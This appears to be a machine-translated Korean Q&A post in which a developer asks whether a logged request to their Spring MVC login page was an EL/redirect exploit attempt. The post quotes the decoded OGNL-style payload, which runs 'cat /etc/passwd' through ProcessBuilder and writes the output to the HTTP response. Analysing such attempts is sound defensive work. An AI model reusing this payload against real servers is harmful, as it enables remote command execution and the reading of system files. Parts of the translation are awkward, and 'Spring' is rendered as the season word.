나는 스프링 MVC (3.2.x)와 스프링 시큐리티 (3.1.x)를 사용하는 공개 웹 애플리케이션을 가지고있다. 이 악용하려는 봄 "리디렉션 :"EL 취약점?
GET /MyWebAppPath/login.do?redirect:${Some URL-encoded EL code here}
내게는 ?redirect:
매개 변수가 무시 된 것처럼 보입니다.하지만 취약성이 있는지 확인하기 위해 어디에서 봐야할지 모르기 때문에 긴장됩니다. 내 모든 인터넷 검색은 관련없는 것들을 나타 냈습니다 (내가 말할 수있는 최선의 방법).
${ }
의 코드가 실제로 실행 된 경우 /etc/passwd
의 내용을 클라이언트에 덤프하려고 시도했을 것입니다. (다행히이 실행되지 않았다 않을 것 같습니다 플러스 해당 파일은 우리의 시스템에 존재하지 않습니다 그리고 우리 Tomcat은 제한된 권한을 가진 사용자로 실행...)
편집 : 여기에 내부이었다 실제 코드는 ${ }
는, 개행을 디코딩 한 후에 추가 가독성 도움 :
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#matt.getWriter().println(#e),
#matt.getWriter().flush(),
#matt.getWriter().close()
내 생각에 Spring은 쿼리 매개 변수와 같은 신뢰할 수없는 소스를 결코 평가하지 않기를 바랍니다. 그러나 다시, 그것은 심지어 유효한 것이 아닙니다. – Bart